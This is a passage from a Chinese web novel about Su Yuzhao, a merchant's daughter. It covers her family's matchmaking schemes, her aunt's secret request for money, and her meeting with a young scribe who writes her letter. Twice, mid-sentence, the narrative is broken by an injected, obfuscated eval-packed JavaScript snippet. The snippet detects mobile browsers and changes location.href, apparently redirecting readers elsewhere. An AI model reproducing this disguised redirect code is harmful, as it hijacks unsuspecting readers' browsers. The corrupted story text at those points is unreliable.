郑氏道:“嫂子放心,我正打听着呢,必给玉娘寻个公婆慈爱,郎君斯文,人口简单的好人家。就算玉娘女红上不强,但她擅算筹,又是这般绝色样貌,想来婆家也不忍苛责的,到时候咱们多雇佣几个绣娘,一起陪送过去,也就是了。 崔氏听了赶紧道:“弟妹好歹上心。说实话,玉娘过了年就十八了,正是大好年华,女孩家又比不得男子,再牵延两年就晚了,我心里实在着急。我没什么见识,在京城也不认得什么人,比不得弟妹出身名门,又有诰命在身,眼界高,人缘也广。” “嫂子急什么,前儿就有好几家遣了媒人来求,我度量着不是根基差些,就是模样不配,所以没跟你们说。”郑氏道,“玉娘是我看着长大的,就跟我的亲闺女一般,再者她是大姐儿,她嫁得好了,才能给下面妹妹们开个好端,我岂有不万分上心的。我的意思,还是在相熟的世交家里筛选筛选,早则年底,迟则明年开春,必有准信儿的。” “对对,还是弟妹考虑的周到。”崔氏点头道。 苏玉照:“......” 啧,又来。二婶婶这车轱辘话说了也有两年了,哪次不是拿这个当幌子向爹娘要钱。偏母亲耳根子软,人家抛根儿蛛丝就当救命藤儿。 且往下听罢,投了铒下来肯定还有后话。 苏玉照嚼着橘瓣儿,不动声色地坐着。 果然,郑氏见小丫头端上茶来,亲自捧了一盏放到崔氏面前:“这不往前重阳佳节,九月初七,东平侯府设宴,请各家老爷夫人、公子小姐去赏菊花。侯府大房的二公子,我见过几次,着实是青年才俊,比咱们玉娘大两岁,若两人站在一处,活似一对金童玉女,再合适不过的,他家夫人也跟我露过口风儿。不如到那日大嫂和我一同带着她们姊妹去赴宴,先相看相看?” 苏玉照头疼地揉揉额角,二婶婶说的那位东平侯府二公子,李笏,李执玉,正是他们那一堆儿里的一个,仗着家世嚣张跋扈,和苏玉照很不对付,两人每每碰面必要掐斗一番,不分出个输赢,绝不善罢甘休。 好在苏玉照技高一筹,无论比试什么,总是赢得多,输得少。 有次那李执玉输恼了,信口说:“哼,你别得意,你的名字里带玉,我的名字叫执玉,早晚是要拿下你的。你等着,我明儿就让媒人去你家提亲,把你娶到我家给我做媳妇,让你天天服侍我。” 苏玉照一听火噌得顶到脑门,上去给李执玉两嘴巴:“放屁,你名字里也带玉,我的名字叫玉娘,你怎么不给我磕头,管我叫娘?想降服我,做梦去吧,天下男人都死光了,我也不会嫁给你。” 李执玉气得浑身乱战,狠狠瞪了苏玉照一眼,转身就走。 从此两人更是水火不容,说是死对头也不为过。 让苏玉照嫁给他,慢慢受那家伙的磋磨,还不如一刀给她个痛快。 苏玉照讪讪笑道:“二婶婶,那个李执玉,我认得他,最是傲慢无礼的,实在不是良配,你带妹妹们去赴宴,我就不去了吧?” 7. 第7章 郑氏还未答话,崔氏先恼了,指着苏玉照轻斥道:“玉娘,你别犯浑,又跟我说那些歪话,男大当婚女大当嫁,还当自己是小孩子呢,终身大事全不放在心上。二婶婶肯带你出去见人,是为着你好,你也自该尊重,端庄得体,拿出大家小姐的体统来,不要给你二婶婶丢脸,听到没有?” “娘,我知道,但是那李笏......”苏玉照面露难色。 崔氏道:“人家是侯门公子,架子排场自然大些,但只要才学、人品好,别的就都无妨。你原是叫我和你爹爹惯坏了,处处要强,所以才看人家不顺眼。” 苏玉照撇撇嘴:“李执玉的才学,还不如我呢。嘿,他作诗没我有文采,投壶没我有准头,摇骰子都没我点数大,哈哈哈......” 她越说越得意,想起李笏被她气得吹胡子瞪眼却无可奈何的样子,不由抚掌大笑。 “你......”崔氏气得在她背上不轻不重地拍了一下,“坐好了,整日猴儿似的,一点规矩都没有。” 郑氏却很好脾气的笑道:“原来玉娘和执玉相熟,怪道东平侯夫人特特向我打听你,想来定是执玉同他母亲提的了。我与东平侯夫人未出阁时就是手帕交,早说过要做亲家的话,本来还想着把你们姊妹三个都介绍给执玉认识,看和哪个投缘,没想到他先相中玉娘了。依我看,倒是门好亲。” 苏玉照听罢一脸惊悚,连连摆手:“二婶婶可别被他骗了,他可不是相中我,我们原有些嫌隙,他怕是要借婚事报复我:先下了定,过后再找由头退亲,让我在全城丢脸。二婶婶不知道,那李执玉在长辈面前惯会矫饰伪装,做出一副谦谦君子的模样,其实他一肚子坏水,不但我不要他,便连二妹妹三妹妹也不能找这样的夫婿。” 郑氏原就有让自己女儿嫁入侯门之意,所以东平侯夫人向她问起苏玉照时,她心里还老大不乐意。 此时看到苏玉照对李笏无意,她反倒高兴起来:“玉娘不用担心,虽说婚姻大事,讲究父母之命媒妁之言,但咱们也不是那颟顸迂腐的人家,自然还是以你们姊妹的心意为重,你既不喜欢他,也不用勉强。但这宴会还是要去的,除了执玉,还有许多世家贵公子到场,你不喜欢他,还可以相看相看别人。” 苏玉照不想去,她没谁好相看的,那群人也绝对瞧不上她,但看崔氏的脸色实在不悦,她若再说一个“不”字,少不了又是一顿教训。 “好,那就劳烦二婶婶了。”苏玉照只得依从道。 去就去吧,全当吃大席,散散心,顺便能谈成两笔生意,那就更好了。 她一松口,崔氏满意了,郑氏也满意了,赞道:“嫂子还说玉娘顽劣,我看她是最懂事孝顺的了。” 苏玉照干笑两声,心里已经知道郑氏铺开了场子,接下来就该要钱了。 “大嫂你看,既要赴宴,这几个孩子也该收拾齐整才是。我上了年纪的人,纵朴素些倒也无妨,但你瞧她们姊妹,身上穿的还是旧年的衣裳,颜色也沉闷,如何见得人呢。”郑氏摊手道,“大哥出门前倒是给了半年的家用,但这两月间,中秋紧连着重阳,我预备各家人情客礼,又给母亲置了副新?髻,竟花了个七七八八。眼下想要给几个孩子裁两身新衣裳,却拿不出银子。” 郑氏说着叹了口气,颇为自责道:“哎,都怪我才短,调度这一大家子人事,着实艰难,每日一睁眼,柴米油盐都是银子,少不得拆东墙补西墙,饶是如此,也常常捉襟见肘。不如往后还是大嫂掌家吧,我也好躲懒轻省轻省。” 苏玉照趁机道:“二婶婶有了身子,的确该好生保养,不如我替婶婶代管几个月,也好历练历练。” “玉娘。”崔氏制止她道,“你才多大了,府里上上下下几百人,你一个未出阁的姑娘家,如何摆排得开。” “弟妹,我自然知道掌家的艰难。”崔氏转而对郑氏道,“若弟妹都调度不了,我们就更不能了。不说别的,就单人情客礼一项,那些侯门公府,不是看在弟妹面上,咱们恐怕连门都敲不开,更遑论有来往了,所以还是得劳烦弟妹辛苦辛苦。至于银子,你不用操心,我早预备下了。她们姊妹几个正是抽条长个子的年纪,我打量着她们的衣裙短了,正要叫裁缝来家里量体裁衣,给她们每人做两身秋衣,两身冬衣,顺便也给母亲和咱们妯娌几个做两身。” “哎呦,还是嫂子心细,又疼我们。”郑氏客套道,“嫂子只管给她们做,不用做我的,能省俭就省俭些吧。” 崔氏笑道:“弟妹这话说的,咱们家难道还做不起衣裳了不成,你往前身子重了,再穿以前的衣裳也不合身,纵别人不做,也得先给你做的。” 玉贞、玉明听崔氏如此说,都站起来道谢:“多谢大伯母。” 苏玉照倒没当回事,做几件衣裳而已,再华丽的样式也不过几百两银子,都是小钱,不必放在心上。 到底是一家人,若连这些也要斤斤计计,就太不像了。 再怎么说,有二叔在官场上,对她们家的生意,到底是有照拂的,最起码不用太受税官那头的盘剥。 崔氏和郑氏妯娌两个说得亲热,倒把上座的严母冷落了,苏玉照见严母神色淡淡地,似乎不大高兴,便主动道:“祖母,午间我叫人送了一百盆菊花来给祖母赏玩,祖母可还喜欢?” 严母点点头:“你瞧,不是都摆上了?难为你有孝心,我很喜欢。” 听这语气,可不像很喜欢的。 她这位祖母,只喜欢真金白银,送菊花这种有雅趣的东西,不如送银子来得实在。 便是想出各种明目向崔氏要钱,也多是祖母的主意,只是她自持身份不出面,只让二婶婶开口。 苏玉照心知肚明,却佯装不懂,笑道:“祖母喜欢就好。” 几人又说了会子闲话,就有人来回,说晚膳都备好了。 正好苏柏川和苏桦山也回来了,还有苏桦山的两个儿子,也下了学,进来给严母请过安,便退到屏风后,跟父亲、二伯坐了一桌。 里头严母带着三姊妹坐一桌,崔氏妯娌三个执箸摆饭,收拾停当便也归坐。 席间聊些家常,苏柏川讲起外头的见闻,又问了问两个侄子的功课,一顿饭吃得其乐融融。 只有崔氏,见别人家都夫妻团圆,不由有些思念自家夫君,又不好扫兴,也只好陪着说笑。 苏玉照向来是心大的,虽父亲不在家,也不觉得怎样,一个劲儿撺掇两个妹妹吃酒,还自己偷偷换了大杯,待散了席便有些醉醺醺的,直往崔氏身上靠。 一时酒足饭饱,苏柏川兄弟两个带着侄子自去赏菊作诗玩乐。 嬷嬷把姜氏的小儿子抱了来,说“哥闹觉儿要吃奶”,姜氏趁便告退出去了。 严母上了年纪,晚上睡得早,大家饭后略坐了会儿,也都散了。 郑氏见苏玉照醉眼朦胧,于是吩咐玉贞、玉明二人扶她回去,又叫住崔氏:“大嫂留步,我还有句话,到我房中吃杯茶吧。” 两人来至郑氏院里,苏柏川犹未回来,郑氏把她让进屋,小丫头忙端上茶来。 “大嫂请坐,尝尝这茶,前儿我母亲打发人送来的,说是陛下赏的,叫什么金琥珀。”郑氏笑道,“统共只有两小饼,不怕大嫂笑话,连母亲我都没舍得孝敬呢。” 崔氏品了一小口,果然异香满吼,回甘醇厚,点头道:“真是好茶。” “大嫂喜欢,就拿一饼回去。”郑氏说完,又对丫鬟们道,“你们都下去吧,守着门,二爷回来就说我待客呢,让他先去东厢房,别进来唐突。” “是。” 待众人都退出去,郑氏见四下无人,这才悄悄向崔氏道:“好姐姐,妹子眼下有件烦难的事,实在没法子可想,只得跟嫂子商量。” 崔氏迟疑了一下,还是道:“弟妹不要外道,咱们都是一家人,自当相互扶持。苏家在京中又没有别的宗亲,还得靠着弟妹娘家提携,你有什么难事,只管告诉我,我虽没什么本事,到底还有几两银子在手里,只要能用钱摆平的,就都不怕。” “嫂子说得极是。”郑氏笑道,“说起来其实是件好事。二爷这次奉旨巡查,差事办得很好,陛下也赞赏有加。正巧吏部尚书徐大人的父亲亡故,徐大人请辞回乡丁忧,陛下已经准了,如此一来,吏部堂官的位子就空了出来。二爷身为吏部侍郎,原该顺位升上去的,只愁没个人在陛下面前递句话。” “呦,这样的大事,弟妹该同郑阁老商量呀,我一个后宅妇人,哪儿懂得官场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371004|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事呢。”崔氏认真道。 郑氏道:“家父是内阁首辅,怎么能推举自己的女婿呢,不但不能举荐,他还要避嫌,哪怕别人举荐了,他还要在陛下面前驳一驳呢。所以这事只能另谋出路。” 崔氏了然,查看郑氏的神色,问道:“弟妹可是已有主意了?” 郑氏颔首:“我已想好了请哪几位官员帮忙进言,但只这几个人,恐怕还不够分量,总得找个陛下信得过的大臣,再在陛下跟前美言几句,就准保能成了。肃国公沈大人,与家父同在内阁,早年又有从龙之功,深得陛下倚重,若能求得他去说,必然十拿九稳,只是......” “嗯,弟妹不用说了,我都明白的。”崔氏一点就透,“不过就是需要银子打点,比起二弟的仕途来,银子都是小事,需要多少弟妹只管说。” 郑氏感激道:“还是嫂子深明大义,等柏川当上吏部堂官,咱们家的门第又高一阶,对她们姊妹几个的婚事大有助益。” 她凑到崔氏面前,故意压低声音道:“更重要的,若能借此事同肃国公家攀上关系,那就彻底改换门庭了。我听说,肃国公家有位小公爷,年纪轻轻甫一及冠就袭了爵,那真是芝兰玉树、龙章凤姿,人称‘京城第一公子’,现如今还未娶亲,玉娘如果与他结成良缘,往后世代都是皇亲国戚,岂不是鲤鱼跃龙门了?” 崔氏听得心头狂跳,勉强自持道:“人家天潢贵胄,哪里能瞧得上我们家一届商贾,云泥之别,如何能相提并论。” “哎,嫂子莫灰心,事在人为。”郑氏道,“玉娘这样出挑,嫁到寻常人家,白埋没了她的人品,凭他怎么金尊玉贵,只要见了玉娘的人,我就不信他不动心,只要小公爷愿意,这事就不难。” 一番话说得崔氏十分动容,握着郑氏的手,感激道:“难为你为玉娘筹谋至此,叫我怎么谢你才好。” 郑氏坦诚道:“一家子亲骨肉,说什么谢不谢的话。实话跟嫂子说,我也有我的私心,一则为了二爷的仕途,二则也为了以后玉贞、玉明好寻婆家。嫂子愿意的话,就先借我五千两银子,我备份薄礼,先去国公夫人那里探探口风,过几日去侯府赴宴,让玉娘和沈小公爷见上一面,嫂子意下如何?” 崔氏虽然心热,却一下子难住了,踌躇道:“弟妹,咱们妯娌间,还说什么借不借的话。只是五千两实在不是小数目,三五百的现银我手里倒还有,一下子要五千,我还真拿不出来。要不等明日,我同玉娘说了,叫她去楼里公账上支了,再给你送来?” “嫂子千万别跟玉娘说。”郑氏摇手道,“玉娘什么脾气你我都了解,若让她知道咱们拿银子求人和她相看,绝对不会同意,非闹个天翻地覆不可。 “弟妹说得是。”崔氏蹙眉苦思良久,终于下定决心道,“既不走公账,我那里倒还有几张地契,典当了够换几千两的,我这就与你取了来,只不让玉娘知道就是了。” 郑氏口内再三再四道谢,心中却很得意,她就知道,崔氏肯定有体己钱,为了苏玉照的前程,要多少崔氏都肯拿出来。 “不劳嫂嫂多跑一趟,我亲自去同嫂子取来,岂不省事?”郑氏说着就站起身。 崔氏也起身道:“你怀着身孕,又出去跑什么,歇着吧,我去去就回。” 郑氏怕崔氏回去,被苏玉照发现了拦下,执意要跟着:“嫂子放心,大夫都说我胎象稳固,得多走动走动才好,免得太过笨重,不好生产。” 崔氏无法,只得依她。 两人相携穿过庭院,几个丫头在前面举着灯笼引路,又有嬷嬷在身后护送。 院中几株桂花开得正盛,夜色朦胧中幽香馥郁。崔氏忍不住抬手折了一枝,拿在手中把玩,与郑氏说笑着出门去了。 东厢房没有点灯,此时窗前立着一人,默默将这一幕瞧在眼里,待院中重归平静,苏柏川才向身后的小厮吩咐道:“去,架上梯子,剪两枝花苞多的桂花,放到我房里插瓶。” 小厮犹豫道:“老爷,昨儿太太还说,这桂花香气太浓,熏得她头疼呢,再供到房里,恐怕太太会生气。” “蠢材。”苏柏川气得负手骂道,“那就摆到书房里。” 小厮被骂得摸不着头脑,只得嗫嚅应“是”。 8. 第8章 崔氏和郑氏二人进到东跨院,迎头正碰见回来玉贞、玉明,几人又一起来至崔氏房里。 好在苏玉照已经回自己屋里睡下了,对这边的事情一无所知。 崔氏请郑氏稍坐,自己走到里间,从柜子里拿出个小木匣,打开后信手从匣中取出一叠地契,数了几张放到一边,又把剩下的收了起来。 郑氏隔着珠帘,探头探脑地往里张望,就见崔氏掀帘走出来,将手中的契书递给郑氏:“这些应该够了,弟妹收好。” 郑氏道谢接过,心中暗道:她拿得这样随意,只怕那匣子里还多着呢。 只可恨苏老太爷偏心,临终前立下遗言,整个“万宝楼”全由大房继承,楼里用得也都是以前的老人。 她和老三家全插不进手去,只能眼睁睁白看着老大家日进斗金,她们两家只能得些月例银子,想要份外另支一点,还要看大嫂的脸色。 一般都是苏家的儿孙,凭什么人家吃着她看着,合该想个法儿,把金楼给三家分了才好。 但此事干系重大,得由严老太君出面来说方可。 郑氏知道,严老太君让她管家,不过是拿她当枪使,借着她的势挟制大嫂,要钱要东西都让她张嘴,自己却躲在后面享福,还装模作样地和大哥扮演母慈子孝,生怕别人说她这个继母对大儿子不好。 平日里小打小闹,严母躲也就躲了,到了分家产的真章上,可不能打马虎眼。趁着老太君现在还明白,催着她早把此事办妥当,免得老人家哪天蹬腿儿去了,大嫂一家把持着金楼,再不肯分给她们一点的。 郑氏心中翻江倒海地盘算,面上却不露一点,笑着说让崔氏早点就寝,自己带着玉贞、玉明回去了。 第二日是九月初三。 苏玉照一直睡到辰时,才在床上伸了个懒腰,揉着发疼的太阳穴坐起来。 宝珠和翠钿两个侍女听到动静,忙从外间进来,一个挂起床帐,另一个从熏笼上取下苏玉照今日要穿的衣裙。 宝珠道:“姑娘醒了?起来先用早膳吧。夫人说老太太那里她已请过安了,也替姑娘告了罪,说吃醉了酒还睡着。老太太说不要惊动,就让姑娘睡饱了,今日也不必再过去请安了。” 苏玉照闻着自己一身酒气,想起昨日回来草草梳洗完就睡下了,便道:“我要洗澡。” 翠钿听说,就又从柜子里拿出一件家常穿的玉兰色中衣,先给苏玉照穿上:“我去叫人放水,姑娘先吃点东西垫垫肚子,免得一会儿热气一蒸犯头晕。” 苏玉照趿着鞋下床,来到外间小厅上,宝珠已经摆好了饭:一份百合莲子粥,一碟虾球水晶饺,并几样菜蔬。 苏玉照早膳一向吃得清淡,不喜荤腥,厨娘知道她的脾胃,便尽量把饭菜做的精致悦目又清爽开胃。 “金环和银屏怎么不见?”苏玉照坐下,边吃边问。 宝珠笑道:“姑娘还问她们呢。她们两个如今可算得了意,一大清早就起来,打扮得体体面面,跟我和翠钿辞行,说是奉了姑娘之命,要去‘万宝楼’公干,不能在家跟我们端茶递水的了,还教导我们好生服侍姑娘。把她俩人能的,不就是去看看账本子,谁不会似的。” 苏玉照也被逗笑了:“我不过是想着,楼里虽有账房先生,又有陈二伯监管着,出不了大错,但到底不如自己人勤盯着,我也好心中有数。你要是也想去瞧瞧,赶明儿让银屏与你替班儿。” “我才不去呢。”宝珠道,“又不是没到楼里逛过,也没什么新鲜的。她们喜欢去听那些管事的虚伪奉承,就自己听去。我宁愿守在家里,姑娘回来也好有个热汤热茶的,我也落得心静。” “我怎么忘了,你性子恬静,不喜欢人多,别人觉得热闹有趣的,你反嫌聒噪。” 宝珠道:“幸而还有个翠钿跟我作伴儿,要不然整日自己在家,也是闷闷的。” “各人有各人的脾性,不必勉强。”苏玉照道,“不过,过几日我跟二婶婶到东平侯府赴宴,你得跟我去,她们几个都不及你心细稳重,这样的场合,还是有你跟着,我才安心。” “哎,我记下了,一会我提前打点好要带的东西,只不知姑娘要穿哪身衣裳,用哪套插戴。”宝珠问道。 “还有好几天呢,不用着急。”苏玉照吃饱了,用绢帕擦了擦嘴,站起身不甚在意道:“衣服你不用准备,母亲说给我们裁新的,首饰不拘戴哪套吧,也没什么要紧。哦对了,多选两只步摇,我这次去,可是要扮淑女的。” 宝珠抿嘴笑了笑:“是。” 沐浴过后,苏玉照换好衣服,上身穿了件小琵琶袖缎衫,下配缠枝花织金马面裙,头上只戴了个莲花冠。 收拾得干净利落,英姿飒爽,吩咐人牵马匹来就要出门。 刚到阶前,就见崔氏的侍女福宁走来行礼道:“姑娘,太太叫姑娘去呢,说衣馆派了几个裁缝、绣娘,现正在前头候着了,要给老太太、太太和姑娘们量体裁衣呢。” 苏玉照道:“我今年也没长个儿,不用量了,姐姐管宝珠要两件去年的衣裳,让他们比着裁就是。” 福宁一把拉住她,央告道:“好姑娘,你好歹去应个景。太太就知道姑娘必不耐烦,特意叮嘱我,一定要请了姑娘过去呢。姑娘不去,我回去要挨骂的。” 苏玉照无奈,只得跟着福宁来到崔氏居住的紫棠馆,郑氏已经带着玉贞、玉明过来了,此时都已经量完尺寸,正在挑颜色和花样儿。 领头的裁缝道:“因太太、姑娘们订得急,所以只能用现成绣好的布匹,想要新奇花样是不能了,不过请夫人放心,咱们衣馆,即便是成衣,款式花样也是顶好的,断不会让太太、姑娘们失了身份就是。” 崔氏笑了笑道:“你们锦华衣馆的手艺,我自然信得过的。我们家差不多的衣裳,都是在你家做的。” 见苏玉照进来,崔氏招手道:“玉娘快来,我和你婶婶、妹妹们已经定完了,你快量了挑出料子来,我好带裁缝们进去见老太太。你三婶婶家幺哥儿积食发热,今日不得脱身过来,我一会也要过去探望呢。” 苏玉照听话地展开胳膊,任凭两个裁缝拿着软尺在她身上比比划划:“母亲既忙,还非叫我来做什么,又不是什么大事,让她们比着去年的衣裳做就是了,我今儿还要去楼里呢。” 崔氏嗔道:“楼里有你几个世伯司掌,还能出岔子不成,你还是顾好自己的事,装扮得漂漂亮亮的,跟着你二婶婶去侯府赴宴是正经。” 苏玉照抿抿嘴,当着外人的面,她不好说楼里出了偷金的事,只好勉强应了,转身去看绣娘带来的衣料样子。 “真难为两位夫人怎么这么会生养,三位小姐一个赛一个,竟都如明珠一般,长相自不用说,单这言谈气度就把人比下去了,不是我奉承,满京城也难寻出几个来,偏您家就一下子出了仨,得是什么样的神仙郎君才配得上吆。” 绣娘的嘴像抹了蜜,夸得郑氏、崔氏都春风满面。 郑氏笑道:“我们家的姑娘,金尊玉贵的娇养到这么大,自然都是好的,眼见到了说婆家的年纪,还指望着你们的衣裳给增光添彩呢,可要给我们好好做。” 裁缝哈腰道:“夫人您就放心吧,我裁衣裙,最大的绝活就是显腰身,几位小姐身量纤秾合度,个子又高,穿着我做的衣裳去相看,必得贵婿的。” 郑氏道:“那就借您吉言。” 八仙桌上摆着几十种布料,皆是上等绸缎,玉贞、玉明已挑好了,一个选了丁香色蝶恋花纹,一个选了鹅黄色牡丹花纹。 苏玉照粗略看了一圈,挑了其中一匹朱砂红色绣宝相花纹的:“就这个吧。” 玉贞在一旁道:“姐姐肤色白,穿红色最相称。” 苏玉照也不自谦,对玉贞、玉明道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371005|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们在家玩儿吧,我出去一趟,回来给你们带礼物。楼里新进了一批好珍珠,又圆又亮,我让人攒了几枝花钗,拿来给你们插戴。” “多谢姐姐。”玉贞、玉明笑着道谢。 郑氏也道:“还是玉照最疼她妹妹们。” 苏玉照揽了下玉贞的肩膀,笑道:“谁让两位妹妹乖巧可疼呢,若是那等顽劣不堪、得陇望蜀的,我也少不得要藏私了。” 郑氏被她不咸不淡地噎了一句,还没想好怎么回,苏玉照已经背着手,溜达着走出门去了。 应付完这边,苏玉照来到东跨院大门外,小厮已经牵马等着了。 她接过缰绳和皮鞭,踩镫上马,也不叫小厮跟着,一人一骑独往金台坊而来。 到了万宝楼近前,先往对面的吴记成衣铺门口看去,果然看到昨日那个书生正坐在案前写字。 他坐姿端正,眉眼温润,一手拢袖,一手执笔蘸墨,微微偏头,认真聆听桌前老妪絮絮叨叨、颠三倒四地诉说,凝炼出有用的讯息,再写成简单易懂的语句,郑重落到纸上。 写完之后,又一字一句指着给老婆婆念了一遍。 老妪听得频频点头:“是了是了,我就是这个意思,只是说不明白。” “可还有什么要添的?”书生很有耐心地问道。 老妪道:“也没别的,就问他在兵营,可否吃饱穿暖,几时回家。” 书生道:“阿婆,这些都写明白了。我帮你封起来,你拿到驿馆,交给信差就好。” 老妪收了家书,合掌再三道谢,末了从竹篮里拿出一个小坛子道:“我也没甚谢你的,这是我自己做的糟鱼,小郎君别嫌弃。” “不用不用,您给了钱的,这我不能收。”书生连连推辞。 老妪把坛子放到桌角,起身就走。 “阿婆,阿婆......”书生唤了几声,那老妪也不回头,快步走到人群中,这厢又有人来请字,书生无法,也只好罢了。 他把瓷坛搬起,放到桌旁地上的竹筐里,坐回凳子上,拿起毛笔,询问下一位客人要写何字。 苏玉照端坐马上,远远地看了一会儿,视线落在书生写字时露出的那截腕骨上。 “万宝楼”当值的马僮一路小跑过来,肩上扛着个条凳,放到马镫下,仰脸儿笑道:“请少东家下马。” “一边儿去,我用得着这劳什子?”苏玉照笑着翻身下马,把马鞭往马僮怀里一扔,信步往对面的写字摊走来。 书生刚送走上一位客人,正在收拾笔墨。他重新拿出一张纸,用镇纸压平,在石砚里倒了一点清水,手执墨碇一圈圈儿研磨,动作沉稳舒缓。 另一只手里则握了本书册,趁着没人的间隙翻看两页。 正默诵间,忽见白纸上多了道剪影,书生忙放下书抬头,就见一个女子抱臂立在桌前,眼含笑意地看着他。 女子面容姣好,身着华服,与周围的纷乱嘈杂格格不入。 出摊这些时日,书生也渐渐习惯了别人的窥探与打量,于是面容如常地问:“姑娘是要写字?” “对,写封家书。我昨日来时,先生已经收摊了,托吴伯向先生预约,他同你说了吗?”苏玉照说道。 “吴伯早起和我说过了。”书生点头道。 他从自己身侧另拿了一个铺着软垫的圆凳,放到桌旁,示意苏玉照坐下:“吴伯同我说过了,姑娘是要写信给令尊?可以把要紧的说给我听,我先拟一稿,姑娘看看可用不可用。” 苏玉照垂眸,看向凳子上的软垫,材质是很普通的细棉,青灰色,像是用旧衣裳改制的,上面绣了只小狸猫,正在用爪子挠痒,撅着小屁股,十分憨态可掬。 绣工还不错,一看就是女子的手艺,垫子也很厚,软蓬蓬的,可见做这软垫的人十分用心。 苏玉照勾唇:“尊夫人手可真巧。” 9. 第9章 “嗯?”书生不明所以,看向苏玉照,又随着她的目光看向凳子上的软垫。 “这是舍妹做的,让姑娘见笑了。”书生的解释道。 苏玉照却有些扫兴,这男子,并没有看起来那么纯净无暇。 方才几个客人来,他并没有另置座位,现在见她穿戴富贵,便刻意讨好,虽只是个不值一提的软垫,但见微知著,他如今还是个穷书生尚且如此,将来若金榜题名入了官场,还不知怎样的趋炎附势呢。 苏玉照心中不屑,脸上却笑意更甚:“小郎君这般贴心,那些年轻貌美的姑娘们见了,定然会心生爱慕,若因此误了终身,可怎么是好呢?” 书生闻言绷起脸,蹙眉道:“薛某岂是如此浮浪之人?只因察姑娘举止,方才有个肉贩提着生肉过去,姑娘便掩鼻遮口,想来是喜洁之人。” 他指了指桌前原本的座位:“那张凳子每日许多人坐,三教九流都有,我怕姑娘嫌腌臜,所以才拿这个给你。那垫子我妹妹昨日才做好,今天带出来,连我也不曾用过,若我用过,也不敢给姑娘使了。” “这话奇了。你拿新的给我使,只因我讲究,难道那些三教九流的人就不配讲究了?再者,若再有旁人来,也同我一般有洁癖的,你又当如何呢?难道令妹做了十个八个的新垫子,但凡挑剔的客人,你都有的换呢?即便如此,那也是看人下菜碟了,终究算不得君子。”苏玉照反驳道。 “我……”书生一时语塞,脸颊升起薄红。 他并未想太多,见到苏玉照,鬼使神差地便给她拿了个新凳子,往常来请他代笔的女子也不是没有,他从未留心过对方是否讲究,今日一番好意倒成了把柄,着实令人懊恼。 “你既疑心,就不要坐了。”说着,他竟把那凳子撤了回去。 苏玉照一愣,知是自己偏颇了,失笑道:“你这人好无趣,我不过一句玩笑话,你怎么就恼了。” 书生亦知来者是客,吸了口气,收起脸上的冷色,淡声问道:“姑娘要写什么?” 苏玉照见他仍不让自己落坐,挑了挑眉,抱臂靠在桌边,屈起一条腿,脚尖儿点在地上,随口念道:“父亲大人膝下:七夕一别,已两月余,叩问尊安。不知今宿何处,事务完否,归期有期?展眼重阳在即,北地朔风渐凉,登高簪菊之时,虽美酒在侧,好景满坡,仍难抵忧思。吾尚能自顾游幸消遣一二,惟母亲思君切切,日夜悬心。万望父上好自珍摄,衣食殷勤,早归故里。金山银海,终究身外之物,终其一生汲汲营营,其无尽者。莫若阖家团聚,共享天伦,方乃人间至乐。家中俱安,祖母身体康健,妯娌姊妹亲密无间,二叔已回京述职,不日或将高升,可喜可贺,只有三叔仍旧斗鸡走狗,不见长进。楼中诸事周全,父上不必牵念。吾将携酒倚闾,盼父早挂归帆。” 她一面说,书生便将她所述行云流水般写了出来,待到落款处,书生停笔,看了苏玉照一眼:“姑娘看来也是读书识字的,如若不便,此处就先空着,姑娘回去自己添上名讳亦可。” “我前几日拉弓划伤了手,现下可写不了字,不然也不劳烦先生代笔了。”苏玉照说着,将右手伸出来给他看,果然在虎口处有一道伤痕,结了痂不久,颜色还有些鲜红,在那只白润如玉的手上,颇为触目惊心。 书生看了一眼,没有说话。 苏玉照接着道:“你就写‘女儿玉照伏拜敬上’。” 书生颔首,依言运腕着墨,在写到苏玉照的名字时,笔尖儿迟滞一瞬。 他自觉有些唐突,女儿家闺名,是不轻易外传的。 但转念一想,既是代笔书信,断没有遗漏之理,这位姑娘是会写字的,若碰到不会的呢,难道只要是个女子来,自己就不给人家落款吗? 况且她手伤不便,自己只管避嫌,反倒叫她为难了。 再说,她已经把名字说了出来,他就是有心想避嫌,耳朵也已经听到了。 反正彼此互不相识,就算知道了名讳,谅也没什么妨碍。 他顺势写完,搁下笔,又从笔山旁拿起一只石雕的直钮小印,钤在了信纸背面的角落里,以做凭据。 苏玉照留神看了一眼,印的是“薛鹤卿书”四个字,心中暗自点头,这名字淡泊清逸,倒配得上他的样貌品格。 薛鹤卿站起身把信纸递给苏玉照,请她过目:“若有不妥,我可以重新誊抄一份。” 苏玉照看了一遍,只见上面字迹银钩铁画,笔锋苍劲有力,可谓赏心悦目。 “先生的书法颜筋柳骨,做个写字先生,实在屈才了。”苏玉照诚心赞道。 “养家糊口的营生,谈不上屈不屈才。”薛鹤卿语气坦然道,“在下还要多谢贵人光顾。” “可惜这纸不好,太薄了,有些洇墨,笔毫也硬,墨也不太匀,白辱没先生的好字。”苏玉照可惜道。 薛鹤卿以为苏玉照是在嫌弃,低头歉然道:“在下确实没有好笔好墨,但胜在价格公道便宜,一封书信只收十文钱,若换成宣纸胶墨,我就要折本了。因往日找我写信的也大都是穷苦人家,并不在意这些。姑娘若觉得不好,我也无可奈何了。” 